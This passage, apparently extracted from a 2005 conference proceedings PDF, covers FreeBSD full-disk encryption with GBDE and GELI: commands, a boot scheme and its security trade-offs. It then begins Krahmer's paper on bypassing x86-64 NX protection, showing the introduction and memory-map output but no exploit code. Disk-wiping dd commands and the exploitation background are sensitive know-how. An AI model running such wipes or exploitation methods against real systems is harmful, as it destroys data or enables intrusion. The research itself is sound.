is passed over to the kernel. In order to have the GBDE module loaded before init is executed, it must be loaded in advance by loader. The following instruction adds the GBDE kernel module to the loader configuration file on the removable medium: # echo geom_bde_load=\“YES\“>> /removable/boot/loader.conf In case additional kernel modules are needed at boot time, they must be copied to /boot/kernel/ and appropriate entries must be added to /boot/loader.conf (this file overrides the defaults in /boot/defaults/loader.conf). In order to save space on the removable medium and also to speed up loading, all kernel modules and even the kernel itself can be gzipped. # cd /removable/boot/kernel -12| 88 COMPLETE HARD DISK ENCRYPTION WITH FREEBSD # gzip kernel geom_bde.ko acpi.ko Binary code compresses to about half of the original size and thus brings a noticeable decrease in loading time. The modules which will not be used or later will be loaded from the hard disk can be deleted from the removable medium. It is important, however, that the code on the removable medium (kernel, modules, etc) is kept in sync with the system on the hard disk. ,#- #.) As discussed earlier, GBDE has been designed with the encryption of partitions and even entire media in mind. Unfortunately, however, the geom_bde.ko module does not allow the kernel to mount an encrypted partition as the root filesystem. This is because the passphrase must be provided through the utility in user space – even though the module obviously operates in kernel space. So, by the time the kernel must mount the root filesystem, the user has not even had the possibility of providing the passphrase and attaching the encrypted device. There are two solutions to this problem:  The kernel must be modified to allow mounting of an encrypted root filesystem by asking for the passphrase in kernel space. This way, the device node which gives access to the decrypted data (the .bde device node) would be available before init is started and could be specified in /etc/fstab as the root file system. The new facility – GELI – has implemented this scheme and therefore makes it a lot easier than the second solution.  The second solution is not really a solution, but more a “hack”, as the shortcomings of GBDE are not solved but avoided. The only conclusion is therefore that the root filesystem cannot be encrypted and that the filesystem(s) on the hard disk – although encrypted – must be mounted on directories residing in the unencrypted root filesystem. Attaching and mounting the encrypted hard disk must be done after the kernel has mounted an unencrypted root filesystem and started init and subsequently gbde from it.  /#  Since the contents of the root filesystem will not be encrypted, it is best to store on it only what is needed to mount the encrypted partitions. Mounting the filesystem on the removable medium as the root filesystem means that the removable medium would have to be attached to the computer while the system is in use and therefore face a lot of unnecessary exposure. The better solution is to store an image of a memory disk on the removable medium, which contains just the utilities necessary to mount the encrypted hard disk. The kernel can mount the memory disk as the root filesystem and invoke init on it, so that gbde can be executed. After the user has provided the passphrase to the encrypted partitions on the hard disk, the utilities on the memory disk can mount the encrypted partitions and then load the rest of the operating system from the encrypted hard disk – including all applications and user data. First, an image for the memory disk must be created on the removable medium. # dd if=/dev/zero of=/removable/boot/mfsroot bs=1m count=10 -1389 | Then a device node for the image is needed, so that a filesystem can be created on it and then mounted. # mdconfig -a -t vnode -f /removable/boot/mfsroot md1 # newfs /dev/md1 # mount /dev/md1 /memdisk If the output of mdconfig(8) differs from 'md1', the path in the following instructions must be adjusted. The assumed mounting point for the memory disk will be /memdisk.     #    Since this filesystem is going to be mounted as the root filesystem, a directory must be created to serve as the mount point for the encrypted boot partition (/memdisk/safe). # cd /memdisk # mkdir safe Some other directories also act as mount points and do not need to be symlinked to the encrypted hard disk. The directory /etc, however, is required, because the rc(8) script in it will be modified to mount the encrypted partitions. # mkdir cdrom dev dist mnt etc Now, the lockfile, which is needed to access the encrypted data, must be copied onto the removable medium – turning it into a kind of access token, without which the encrypted data cannot be accessed even with the passphrase available. # cp /very/safe/place/lockfile /memdisk/etc/ It is important to remember that the lockfile is updated each time the passphrase is changed.  #   After the kernel has been loaded from the removable medium it mounts the memory disk as the root filesystem and then executes init, the first process. init in turn calls rc, a script that controls the automatic boot process. Since rc is a text file rather than a binary executable, it can be easily modified to mount the encrypted boot partition before the majority of the system startup – which requires a lot of files – takes place. The rc script can therefore be copied from the installation on the hard disk and then be edited. # cp /fixed/etc/rc /memdisk/etc/ The following commands have to be inserted after the line “export HOME PATH” (in 5.4-RELEASE: line 51) into /memdisk/etc/rc: /rescue/gbde attach /dev/ad0 -l /etc/lockfile && \ /rescue/mount /dev/ad0.bdea /safe && \ /rescue/mount -w -f /dev/md0 / && \ /rescue/rm -R /etc && \ /rescue/ln -s safe/etc /etc -14| 90 COMPLETE HARD DISK ENCRYPTION WITH FREEBSD The commands first attach the encrypted boot partition, mount it on /safe and then erase the /etc directory from the memory disk, so that it can be symlinked to the directory on the encrypted disk. Obviously, the utilities in the /rescue directory need to be on the memory disk. The /rescue directory is already part of a FreeBSD default installation and provides statically linked executables of the most important tools. Although the size of the /rescue directory seems at first glance to be huge (~470 MB!), there is in fact one binary which has been hardlinked to the various names of the utilities. The /rescue directory therefore contains about 130 tools which can be executed without any dependencies on libraries. The total size is less than 4 MB. Although this fits easily on the created memory disk, the directory cannot be just copied. The following example uses tar(1) in order to preserve the hardlinks. # cd /fixed # tar -cvf tmp.tar rescue # cd /memdisk # tar -xvf /fixed/tmp.tar # rm /fixed/tmp.tar      #   The files required for mounting the encrypted boot partition are now in place and the rc script has also been appropriately modified. But since the encrypted boot partition will not be mounted as the root (/), but in a subdirectory of the memory disk (/safe), all of the relevant directories must have entries in the root pointing to the actual directories in /safe. # umount /fixed # mount /dev/ad0.bdea /memdisk/safe # cd /memdisk # ln -s safe/* .  !    #  The memory disk image now contains all the necessary data, so it can be unmounted and detached (if the memory disk image was not previously accessible through /dev/md1, the third line must be adjusted). # umount /memdisk/safe # umount /memdisk # mdconfig -d -u1 In order to save space and to speed up the booting process, the memory disk image can also be gzipped, just like the kernel modules and the kernel itself: # gzip /removable/boot/mfsroot If the kernel was compiled with the MD_ROOT option – which is the case with the GENERIC kernel – it is able to mount the root from a memory disk. The file that holds the image of the memory disk must be loaded by the FreeBSD loader. This works almost the same way as with kernel modules, as the image must be listed in the configuration file /boot/loader.conf. Compared to executable code however, the memory disk image -1591 | must be explicitly specified as such in the configuration file, so the kernel knows how to handle the file's contents. The following three lines are required in /boot/loader.conf on the removable medium: mfsroot_load="YES" mfsroot_type="mfs_root" mfsroot_name="/boot/mfsroot" It is also important to note that there is no need to maintain an extra copy of the /etc/fstab file on the removable medium as the kernel automatically mounts the first memory disk that has been preloaded. Although this /etc/fstab issue is not a major problem, it is a necessary measure in order to make this scheme work with GELI – which is able to mount an encrypted partition as the root filesystem.  %# -   Although the swap partition has already been set up and is ready for use, the operating system does not yet know which device to use. It is therefore necessary to create an entry for it in the file /etc/fstab. This file must be stored on the hard disk, not the removable medium. # mount /dev/ad0.bdea /fixed/ # echo “/dev/ad0.bdeb none swap sw 0 0“ > /fixed/etc/fstab Now, the system is finally ready and can be used by booting from the removable medium. The modified rc script will ask for the passphrase and then mount the encrypted partition, so that the rest of the system can be loaded.  & 0     Since the system on the encrypted disk was not installed using sysinstall, a few things such as setting the timezone, the keyboard map and the root password have not yet been taken care of. These settings can easily be changed by calling sysinstall now. Packages such as the X server, which is not part of the system, can be added using pkg_add(8). The system is now fully functional and ready for use. )&"    % '(*+ This chapter describes the process of setting up complete hard disk encryption using FreeBSD's new GELI facility. GELI is so far only available on the 6.x branch. It is important to note that the memory disk approach as discussed previously with GBDE is also possible with GELI. But since GELI makes it possible to mount an encrypted partition as the root filesystem, the memory disk is not a requirement anymore. This advantage, however, is somewhat weakened by a drawback that the memory disk scheme does not suffer from. This particular issue will be discussed in more detail later and ultimately it is up to the user to decide which scheme is more appropriate. As the concept of having a memory disk with GELI is very similar to having one with GBDE, this chapter discusses only how to use GELI to boot directly with an encrypted -16| 92 COMPLETE HARD DISK ENCRYPTION WITH FREEBSD root filesystem – without the need for a memory disk. Many of the steps required to make complete hard disk encryption work with GBDE are also necessary with GELI – regardless of whether a memory disk is used or not. Therefore the description and explanation of some steps will be shortened or omitted completely here. The necessary commands will of course be given, but for a more detailed explanation the respective chapters in the GBDE part are recommended for reference. % 1  ##  As it has already been mentioned in the GBDE chapter, erasure of previously stored data on the medium intended for encryption is strongly recommended. The data can be overwritten by either using the zero or the entropy device as a source. # dd if=/dev/zero of=/dev/ad0 bs=1m -- or -# dd if=/dev/random of=/dev/ad0 bs=1m Their respective advantages and drawbacks were discussed in chapter 3.4.1. %!   - - #. 2! Just as GBDE, GELI must first initialize the medium intended for encryption. GELI's big advantage over GBDE for the purpose of complete hard disk encryption is that it enables the kernel to mount an encrypted partition as the root filesystem. This works by passing the -b parameter to the geli(8) userland tool when the hard disk is initialized. This parameter causes GELI to flag the partition as “ask for passphrase upon discovery”. When the kernel initializes the various storage media in the system at boot time, it searches the partitions on them for any that have been flagged by the user and then asks for the passphrase of the respective partition. The most important fact is, that this is done in kernel space – the new device node providing access to the plain text (with the suffix .eli, analogous to GBDE's .bde suffix) therefore already exists before the kernel mounts the root filesystem. Furthermore – as it is possible with GBDE – GELI also allows the key material to be retrieved from additional sources besides the passphrase. While GBDE uses the 16-byte lockfile for this purpose, GELI supports the specification of a keyfile with the -K parameter. The size of this keyfile is not hardcoded into GELI and can be chosen freely by the user; if '–' instead of a file name is given, GELI will read the contents of the keyfile from the standard input. This way it is even possible to concatenate several files and feed them to GELI's standard input through a pipeline. The individual files would then each hold a part of the key and the key would therefore be distributed across several (physical, if chosen) places. Unfortunately, however, the keyfile cannot be used with partitions which have been flagged for “ask for passphrase upon discovery”. Using a passphrase and a keyfile to grant access to the encrypted data would require that a parameter be passed to the kernel – specifying the path to the keyfile. This path could of course also be hardcoded into the kernel, for example that the keyfile must be located at /boot/geli.keys/. Unfortunately, this functionality does not yet exist in GELI. The ability to mount an -1793 | encrypted partition as the root filesystem comes therefore at the price of having to rely only on the passphrase to protect the data. The memory disk approach that was discussed in order to make complete hard disk encryption work with GBDE also works with GELI. Although it is harder to set up and maintain, it combines the advantages of “something you know” and “something you have”, namely a passphrase and a lockfile/keyfile. Especially on mobile devices it is risky to rely only on a passphrase, since it will face intensive exposure as it must be typed in each time the system is booted up. The choice between better usability and increased security is therefore left to user. %!  " 3 #       Initializing the hard disk with GELI works similarly as it does with GBDE – except that the partition must be flagged as “ask for passphrase upon discovery” and therefore cannot (yet) use a keyfile. # geli init -b /dev/ad0 Enter new passphrase: Reenter new passphrase: Very important here is to specify the -b parameter, which causes the geom_eli.ko kernel module to ask for the passphrase if a GELI encrypted partition has been found. The -a parameter can (optionally) be used to specify the encryption algorithm: AES, Blowfish or 3DES. If this set-up is performed directly from the 'fix-it' live filesystem, then the /lib directory must be created by symlinking it to the existing /dist/lib directory. This is necessary because GELI needs to find its libraries in /lib. The GELI executable will actually run without /lib, but will then hide its features from the user – therefore making the problem much less obvious. Attaching the hard disk is also largely the same as with GBDE, again except that the keyfile parameter must be omitted from the command. # geli attach /dev/ad0 Enter passphrase: Upon successful attachment, a new device node will be created in the /dev directory which carries the name of the specified device plus a '.eli' suffix. Just like the '.bde' device node created by GBDE, this node provides access to the plain text. The output of geli after successful attachment looks something like this (details depend on the parameters used and the available hardware): GEOM_ELI: Device ad0.eli created. GEOM_ELI: Cipher: AES GEOM_ELI: Key length: 128 GEOM_ELI: Crypto: software Since sysinstall cannot read GELI encrypted partitions either, the partitioning must be done using the bsdlabel tool. # bsdlabel -w /dev/ad0.eli # bsdlabel -e /dev/ad0.eli Partition management was discussed in more detail in chapter 3.4.4. -18| 94 COMPLETE HARD DISK ENCRYPTION WITH FREEBSD %'          Now that the partition layout has been set, the filesystem(s) can be created, so FreeBSD can be installed. # newfs /dev/ad0.elia # newfs /dev/ad0.elid etc. The actual installation of the system on the encrypted hard disk must also be done manually, since sysinstall does not support GELI encrypted partitions. # mount /dev/ad0.elia /fixed # export DESTDIR=/fixed/ # cd /dist/6.0-RELEASE/base && ./install.sh You are about to extract the base distribution into /fixed - are you SURE you want to do this over your installed system (y/n)? %%# Since this medium is not going to be encrypted, it can be sliced and partitioned with sysinstall. The size requirements are largely the same as for GBDE – the minimum is even a bit lower because there is no need to store the image of the memory disk. With a customized kernel, this minimum may be as low as 4 MB. In order to boot the kernel from the removable medium (/removable), it is necessary to copy the /boot directory from the encrypted hard disk (mounted on /fixed). # cp -Rpv /fixed/boot /removable All kernel modules except geom_eli.ko and its dependency crypto.ko (and acpi.ko, if used) can be deleted if space is a problem. Further, all modules and even the kernel can be gzipped. This saves not only space, but also reduces loading time. # cd /removable/boot/kernel # gzip kernel geom_eli.ko acpi.ko Just as it is the case with GBDE, GELI also needs its kernel module geom_eli.ko loaded by loader(8) in order to ask for the passphrase before the root filesystem is mounted. The following command adds the appropriate entry to /boot/loader.conf. # echo geom_eli_load=\“YES\“>> /removable/boot/loader.conf %&4   #     Because of GELI's ability to mount encrypted partitions as the root filesystem the entire workaround with the memory disk can be avoided. So far, however, the kernel does not know which partition it must mount as the root filesystem – even if the device node to the plain text of the encrypted hard disk has been created by GELI. The memory disk approach, which is necessary to make complete hard disk encryption work with GBDE, has the advantage that the kernel will automatically mount the memory disk as the root filesystem if an image has been preloaded. In this case, however, it is necessary to create an entry in /etc/fstab, so the kernel knows which partition to mount as the root filesystem. # mkdir /removable/etc -1995 | # echo “/dev/ad0.elia / ufs rw 1 1” >> /removable/etc/fstab It is important to note that this file must be stored on the removable medium and serves only the purpose of specifying the device for the root filesystem. As soon as the kernel has read out the contents of the file, it will mount the specified device as the root filesystem and the files on the removable medium (including fstab) will be outside of the filesystem name space. This means that the removable medium must first be mounted before the files on it can be accessed through the filesystem name space. It also means, however, that the removable medium can actually be removed after the root filesystem has been mounted from the encrypted hard disk – thus reducing unnecessary exposure. It is crucial that the removable medium be always in the possession of the user, because the whole concept of complete hard disk encryption relies on the assumption that the boot medium – therefore the removable medium, not the hard disk – is uncompromised and its contents are trusted. If any other partitions need to be mounted in order to boot up the system – for example /dev/ad0.elid for /usr – they must be specified in /etc/fstab as well. Since most installations use at least one swap partition, the command for adding the appropriate entry to /etc/fstab is given below. # echo “/dev/ad0.elib none swap sw 0 0“ > /fixed/etc/fstab The system is now ready for use and can be booted from the removable medium. As the different storage devices in the system are found, GELI searches them for any partitions that were initialized with the geli init -b parameter and asks for the passphrase. If the correct one has been provided, GELI will create new device nodes for plain text access to the hard disk and the partitions on it (e.g. /dev/ad0.elia), which then can then be mounted as specified in /etc/fstab. After that, the rest of the system is loaded. sysinstall can then be used in order to adjust the various settings that could not be set during the installation procedure – such as timezone, keyboard map and especially the root password!   #      5  ,  -   .   Any user seriously thinking about using complete hard disk encryption should be aware of what it actually protects and what it does not. Since encryption requires a lot of processing power and can therefore have a noticeable impact on performance, it is usually not enabled by default. FreeBSD marks no exception here. Although it provides strong encryption algorithms and two powerful tools for encrypting storage media, it is up to the user to discover and apply this functionality. This paper gave instructions on how to encrypt an entire hard disk while most of the operating system is still stored and loaded from it. It is important to remember, however, that FreeBSD – or any other software component for that matter – will not warn the user if the encrypted data on the hard disk is leaked (see chapter 2.3) or intentionally copied to another, unencrypted medium, such as an external drive or a smart media card. It is the responsibility of the user to encrypt these media as well. This responsibility applies equally well to data in transit. Network transmissions are -20| 96 COMPLETE HARD DISK ENCRYPTION WITH FREEBSD in most cases not encrypted by default either. Since all encryption and decryption of the data on the hard disk is done transparently to the user once the passphrase has been provided, it is easy to forget that some directories might contain data which is stored on a different machine and made available through NFS, for example – in which case the data is transferred in the clear over the network, unless explicitly set up otherwise. The mounting facility in UNIX is very powerful; but it also makes it difficult to keep track of which medium actually holds what data. The network poses of course an additional threat, because of an attacker's ability to target the machine remotely. The problem has already been discussed in chapter 1. If a particular machine is easier to attack remotely than locally, any reasonable attacker will not even bother with getting physical access to the machine. In that case it would make no sense to use complete hard disk encryption, because it does not eliminate the weakest link (the network connectivity). If, on the other hand, not the network, but the unencrypted or not fully encrypted hard disk is the weakest link and the attacker is also capable of getting physical access to the machine (for reasons discussed in chapter 2.4), then complete hard disk encryption makes sense. A key point to remember is that as long as a particular storage area is attached, the data residing on it is not protected any more than any other data accessible to the system. This applies to both GBDE and GELI; even unmounting an encrypted storage area will not protect the data from compromise since the corresponding device node providing access to the plain text still exists. In order to remove this plain text device node, the storage area in question must be detached. With GBDE this must be done manually, GELI has a feature that allows for automatic detachment on the last close – but this option must be explicitly specified. Since the partition holding the operating system must always be attached and mounted, its contents are also vulnerable during the entire time the system is up. This means that remotely or even locally introduced viruses, worms and trojans can compromise the system in the same way they can do it on a system without complete hard disk encryption. Another way to attack the system would be by compromising the hardware itself, for example by installing a hardware keylogger. This kind of attack is very hard to defend against and this paper makes no attempt to solve this issue. What complete hard disk encryption does protect against, is attacks which aim at either accessing data by reading out the contents of the hard disk on a different system in order to defeat the defenses on the original system or by compromising the system stored on the hard disk, so the encryption key or the data itself can be leaked. Encryption does not, however, prevent the data from being destroyed, both accidentally and intentionally. If it is chosen that the encrypted partition is mounted directly as the root filesystem – without the need for a memory disk, then it is crucial that a strong passphrase be chosen, because that will be the only thing required to access the encrypted data. Choosing the memory disk approach makes for a more resilient security model, since it enables the user to use a lockfile (GBDE) or a keyfile (GELI) – in order to get access to the data. While all these previously mentioned conditions and precautions matter, it is absolutely crucial to understand that the concept of complete hard disk encryption depends upon the assumption that the data on the removable medium is trusted. The removable medium must be used because the majority of the hardware is not capable of booting encrypted code. Since the kernel and all the other code necessary for mounting the encrypted partition(s) must be stored in the clear on the removable -2197 | medium, the problem of critical code getting compromised has, in fact, not really been solved. The most efficient way to attack a system like this would most likely be by compromising the code on the removable medium. It is therefore crucial that the user keep the removable medium with him or her at all times. If there is the slightest reason to believe that the data on it may have been compromised, its contents must be erased and reconstructed according to the instructions in the respective GBDE or GELI chapters. If the removable medium has been lost or stolen and there was a keyfile or lockfile stored on it, then two issue must be taken into account:  The user will not be able to access to encrypted data even with the passphrase. It is therefore strongly recommended that a backup of the keyfile/lockfile be made and kept in a secure place – preferably without network connectivity.  The second possibility can be equally devastating, since the keyfile/lockfile could fall into the hands of someone who is determined to break into the system. In that case, all the attacker needs is the passphrase – which can be very hard to keep secret for a mobile device. It is therefore recommended that both the passphrase and the keyfile/lockfile are changed in the event of a removable medium loss or theft.   ,, Complete hard disk encryption offers protection against specific attacks as discussed in chapter 4.1. This additional protection, however, comes at a cost – which is usually why security measures are not enabled by default. In the case of complete hard disk encryption, the trade-offs worth mentioning the most are the following:  Performance. Encryption and decryption consume a lot of processing power. Since each I/O operation on the encrypted hard disk requires additional computation, the throughput is often limited by the power of the CPU(s) and not the bandwidth of the storage medium. Especially write operations, which must be encrypted, are noticeably slower than read operations, where decryption is performed. Systems which must frequently swap out data to secondary storage and therefore usually to the encrypted hard disk can suffer from an enormous performance penalty. In cases where performance becomes too big a problem it is suggested that dedicated hardware be used for cryptographic operations. GELI supports this by using the crypto(9) framework, GBDE unfortunately does so far not allow for dedicated hardware to be used and must therefore rely on the CPU(s) instead.  Convenience. Each time the system is booted, the user is required to attach or insert the removable medium and enter the passphrase. Booting off a removable medium is usually slower than booting from a hard disk and the passphrase introduces an additional delay.  Administrative work. Obviously the whole scheme must first be set up before it can be used. The majority of this quite lengthy process must also be repeated with each system upgrade as the code on the removable medium must not get out of sync with the code on the hard disk. As this set-up or upgrade process is also prone to errors such as typos, it may be considered an additional risk to the data stored on the device. -22- | 98 COMPLETE HARD DISK ENCRYPTION WITH FREEBSD This list is by no means exhaustive and every user thinking about using complete hard disk encryption is strongly encouraged to carefully evaluate its benefits and drawbacks. '!( '(*+ FreeBSD provides two tools for encrypting partitions, GBDE and GELI. Both can be used to make complete hard disk encryption work. If GBDE is chosen, the memory disk approach must be used, as GBDE does not allow the kernel to mount an encrypted partition as the root filesystem. The advantage is that it is possible to use a lockfile in addition to a passphrase. This makes for a more robust security model and should compensate for the administrative “overhead” caused by the memory disk. GELI not only makes it possible to use a memory disk too, it also allows the user to choose from different cryptographic algorithms and key lengths. In addition to that it also offers support for dedicated cryptographic hardware devices and of course eliminates the need for a memory disk by being able to directly mount the encrypted boot partition. The drawback of mounting the root directly from an encrypted partition is that GELI so far does not allow for a keyfile to be used and therefore the security of the encrypted data depends solely on the passphrase chosen. Looking at the features of the two tools, it may seem as though GELI would be the better choice in any situation. It should be noted, however, that GBDE has been around for much longer than GELI and therefore is more likely to have received more testing and review. %    Mobile devices are intended to be used anywhere and anytime. As these devices get increasingly sophisticated, they allow the users to store massive amounts of data – a lot of which may often be sensitive. Encrypting individual files simply does not scale and on top of that does nothing to prevent the data from leaking to other places. Partition-based encryption scales much better but still, a lot of information can be compiled from unencrypted sources such as system log files, temporary working copies of opened files or the swap partition. In addition to that, both schemes do nothing to protect the operating system or the applications from being compromised. In order to defend against this kind of attack, it is necessary to encrypt the operating system and the applications as well and boot the core parts such as the kernel from a removable medium. Since the boot code must be stored unencrypted in order to be loaded, it must be kept on a medium that can easily be looked after. FreeBSD provides two tools capable of encrypting disks: GBDE and GELI. Complete hard disk encryption can be accomplished by using either a memory disk as the root filesystem and then mount the encrypted hard disk in a subdirectory or by directly mounting the encrypted hard disk as the root filesystem. The first approach can be done with both GBDE and GELI and has the advantage that a lockfile or keyfile can be used in addition to the passphrase, therefore providing more robust security. The second approach omits the memory disk and therefore saves some administrative work. It works only with GELI, however, and does not allow for a keyfile to be used – therefore requiring a trade-off between better usability/maintain ability and security. -2399 | Under no circumstances does complete hard disk encryption solve all problems related to security or protect against any kind of attack. What it does protect against, is attacks which are aimed at accessing data by reading out the contents of the particular hard disk on a different system in order to defeat the original defenses or to compromise the operating system or applications in order to leak the encryption key or the encrypted data itself. As with any security measure, complete hard disk encryption requires the users to make trade-offs. The increase in security comes at the cost of decreased performance, less convenience and more administrative work. Complete hard disk encryption makes sense if an unencrypted or partially encrypted hard disk is the weakest link to a particular kind of attack. 1   #  Dawidek, 2005a P. J. Dawidek, geli – control utility for cryptographic GEOM class FreeBSD manual page April 11, 2005 Dawidek, 2005b P. J. Dawidek, GELI - disk encryption GEOM class committed http://lists.freebsd.org/pipermail/freebsd-current/2005-July/053449.html posted on the 'freebsd-current' mailing list July 28, 2005 Dowdeswell & Ioannidis, 2003 R. C. Dowdeswell & J. Ioannidis, The CryptoGraphic Disk Driver http://www.usenix.org/events/usenix03/tech/freenix03/full_papers/dowdeswell/ dowdeswell.pdf June 2003 Kamp, 2003a P.-H. Kamp, GBDE – GEOM Based Disk Encryption http://phk.freebsd.dk/pubs/bsdcon-03.gbde.paper.pdf July 7, 2003 Kamp, 2003b P.-H. Kamp, GEOM Tutorial http://phk.freebsd.dk/pubs/bsdcon-03.slides.geom-tutorial.pdf August 19, 2003 Lemos, 2005 R. Lemos, Backups tapes a backdoor for identity thieves http://www.securityfocus.com/news/11048 April 28, 2005 Leyden, 2004 J. Leyden, Oops! Firm accidentally eBays customer database http://www.theregister.co.uk/2004/06/07/hdd_wipe_shortcomings/ June 7, 2004 -24| 100 COMPLETE HARD DISK ENCRYPTION WITH FREEBSD Noguchi, 2005 Y. Noguchi, Lost a BlackBerry? Data Could Open A Security Breach http://www.washingtonpost.com/wp-dyn/content/article/2005/07/24/ AR2005072401135.html July 25, 2005 OpenBSD, 1993 vnconfig - configure vnode disks for file swapping or pseudo file systems OpenBSD manual page http://www.openbsd.org/cgi-bin/man.cgi?query=vnconfig&sektion=8&arch=i386& apropos=0&manpath=OpenBSD+Current July 8, 1993 Reuters, 2005 Reuters, Stolen PCs contained Motorola staff records http://news.zdnet.co.uk/internet/security/0,39020375,39203514,00.htm June 13, 2005 Sarche, 2005 J. Sarche, Hackers hit U.S. Army computers, http://www.globetechnology.com/servlet/story/RTGAM.20050913.gtarmysep13/ BNStory/Technology/ September 13, 2005 -25101 | Der Hammer: x86-64 und das umschiffen des NX Bits Sebastian Krahmer 103 | NO -NX x86-64 buffer overflow exploits and the borrowed code chunks exploitation technique Sebastian Krahmer krahmer@suse.de September 28, 2005 Abstract The x86-64 CPU platform (i.e. AMD64 or Hammer) introduces new features to protect against exploitation of buffer overflows, the so called No Execute (NX) or Advanced Virus Protection (AVP). This non-executable enforcement of data pages and the ELF64 SystemV ABI render common buffer overflow exploitation techniques useless. This paper describes and analyzes the protection mechanisms in depth. Research and target platform was a SUSE Linux 9.3 x86-64 system but the results can be expanded to non-Linux systems as well. search engine tag: SET-krahmer-bccet-2005. Contents 1 Preface 2 2 Introduction 2 3 ELF64 layout and x86-64 execution mode 2 4 The borrowed code chunks technique 4 5 And does this really work? 7 6 Single write exploits 8 7 Automated exploitation 12 8 Related work 17 9 Countermeasures 18 10 Conclusion 18 11 Credits 19 1 | 104 NO -NX DER HAMMER: X86-64 UND DAS UM-SCHIFFEN DES NX BITS 1 PREFACE 2 1 Preface Before you read this paper please be sure you properly understand how buffer overflows work in general or how the return into libc trick works. It would be too much workload for me to explain it again in this paper. Please see the references section to find links to a description for buffer overflow and return into libc exploitation techniques. 2 Introduction In recent years many security relevant programs suffered from buffer overflow vulnerabilities. A lot of intrusions happen due to buffer overflow exploits, if not even most of them. Historically x86 CPUs suffered from the fact that data pages could not only be readable OR executable. If the read bit was set this page was executable too. That was fundamental for the common buffer overflow exploits to function since the so called shellcode was actually data delivered to the program. If this data would be placed in a readable but non-executable page, it could still overflow internal buffers but it won’t be possible to get it to execute. Demanding for such a mechanism the PaX kernel patch introduced a workaround for this r-means-x problem [7]. Todays CPUs (AMD64 as well as newer x86 CPUs) however offer a solution in-house. They enforce the missing execution bit even if a page is readable, unlike recent x86 CPUs did. From the exploiting perspective this completely destroys the common buffer overflow technique since the attacker is not able to get execution to his shellcode anymore. Why return-into-libc also fails is explained within the next sections. 3 ELF64 layout and x86-64 execution mode On the Linux x86-64 system the CPU is switched into the so called long mode. Stack wideness is 64 bit, the GPR registers also carry 64 bit width values and the address size is 64 bit as well. The non executable bit is enforced if the Operating System sets proper page protections. linux:˜ # cat [1]+ Stopped cat linux:˜ # ps aux|grep cat root 13569 0.0 0.1 3680 600 pts/2 T 15:01 root 13571 0.0 0.1 3784 752 pts/2 R+ 15:01 linux:˜ # cat /proc/13569/maps 00400000-00405000 r-xp 00000000 03:06 23635 00504000-00505000 rw-p 00004000 03:06 23635 00505000-00526000 rw-p 00505000 00:00 0 2aaaaaaab000-2aaaaaac1000 r-xp 00000000 03:06 12568 2aaaaaac1000-2aaaaaac2000 rw-p 2aaaaaac1000 00:00 0 2aaaaaac2000-2aaaaaac3000 r--p 00000000 03:06 13642 2aaaaaac3000-2aaaaaac9000 r--s 00000000 03:06 15336 2aaaaaac9000-2aaaaaaca000 r--p 00000000 03:06 15561 2aaaaaaca000-2aaaaaacb000 r--p 00000000 03:06 13646 2aaaaaacb000-2aaaaaacc000 r--p 00000000 03:06 13641 2aaaaaacc000-2aaaaaacd000 r--p 00000000 03:06 13645 2aaaaaacd000-2aaaaaace000 r--p 00000000 03:06 15595 2aaaaaace000-2aaaaaacf000 r--p 00000000 03:06 15751 2aaaaaacf000-2aaaaaad0000 r--p 00000000 03:06 13644 2aaaaaad0000-2aaaaaba8000 r--p 00000000 03:06 15786 0:00 cat 0:00 grep cat /bin/cat /bin/cat /lib64/ld-2.3.4.so /usr/lib/locale/en_US.utf8/LC_IDENTIFICATION /usr/lib64/gconv/gconv-modules.cache /usr/lib/locale/en_US.utf8/LC_MEASUREMENT /usr/lib/locale/en_US.utf8/LC_TELEPHONE /usr/lib/locale/en_US.utf8/LC_ADDRESS /usr/lib/locale/en_US.utf8/LC_NAME /usr/lib/locale/en_US.utf8/LC_PAPER /usr/lib/locale/en_US.utf8/LC_MESSAGES/SYS_LC_MESSAGES /usr/lib/locale/en_US.utf8/LC_MONETARY /usr/lib/locale/en_US.utf8/LC_COLLATE 105 | NO -NX 3 ELF64 LAYOUT AND X86-64 EXECUTION MODE 2aaaaaba8000-2aaaaaba9000 r--p 00000000 03:06 13647 2aaaaaba9000-2aaaaabaa000 r--p 00000000 03:06 15762 2aaaaabc0000-2aaaaabc2000 rw-p 00015000 03:06 12568 2aaaaabc2000-2aaaaacdf000 r-xp 00000000 03:06 12593 2aaaaacdf000-2aaaaadde000 ---p 0011d000 03:06 12593 2aaaaadde000-2aaaaade1000 r--p 0011c000 03:06 12593 2aaaaade1000-2aaaaade4000 rw-p 0011f000 03:06 12593 2aaaaade4000-2aaaaadea000 rw-p 2aaaaade4000 00:00 0 2aaaaadea000-2aaaaae1d000 r--p 00000000 03:06 15785 7ffffffeb000-800000000000 rw-p 7ffffffeb000 00:00 0 ffffffffff600000-ffffffffffe00000 ---p 00000000 00:00 0 linux:˜ # 3 /usr/lib/locale/en_US.utf8/LC_TIME /usr/lib/locale/en_US.utf8/LC_NUMERIC /lib64/ld-2.3.4.so /lib64/tls/libc.so.6 /lib64/tls/libc.so.6 /lib64/tls/libc.so.6 /lib64/tls/libc.so.6 /usr/lib/locale/en_US.utf8/LC_CTYPE As can be seen the .data section is mapped RW and the .text section with RX permissions. Shared libraries are loaded into RX protected pages, too. The stack got a new section in the newer ELF64 binaries and is mapped at address 0x7ffffffeb000 with RW protection bits in this example. linux:˜ # objdump -x /bin/cat |head -30 /bin/cat: file format elf64-x86-64 /bin/cat architecture: i386:x86-64, flags 0x00000112: EXEC_P, HAS_SYMS, D_PAGED start address 0x00000000004010a0 Program Header: PHDR off 0x0000000000000040 vaddr 0x0000000000400040 paddr 0x0000000000400040 align 2**3 filesz 0x00000000000001f8 memsz 0x00000000000001f8 flags r-x INTERP off 0x0000000000000238 vaddr 0x0000000000400238 paddr 0x0000000000400238 align 2**0 filesz 0x000000000000001c memsz 0x000000000000001c flags r-LOAD off 0x0000000000000000 vaddr 0x0000000000400000 paddr 0x0000000000400000 align 2**20 filesz 0x000000000000494c memsz 0x000000000000494c flags r-x LOAD off 0x0000000000004950 vaddr 0x0000000000504950 paddr 0x0000000000504950 align 2**20 filesz 0x00000000000003a0 memsz 0x0000000000000520 flags rwDYNAMIC off 0x0000000000004978 vaddr 0x0000000000504978 paddr 0x0000000000504978 align 2**3 filesz 0x0000000000000190 memsz 0x0000000000000190 flags rwNOTE off 0x0000000000000254 vaddr 0x0000000000400254 paddr 0x0000000000400254 align 2**2 filesz 0x0000000000000020 memsz 0x0000000000000020 flags r-NOTE off 0x0000000000000274 vaddr 0x0000000000400274 paddr 0x0000000000400274 align 2**2 filesz 0x0000000000000018 memsz 0x0000000000000018 flags r-EH_FRAME off 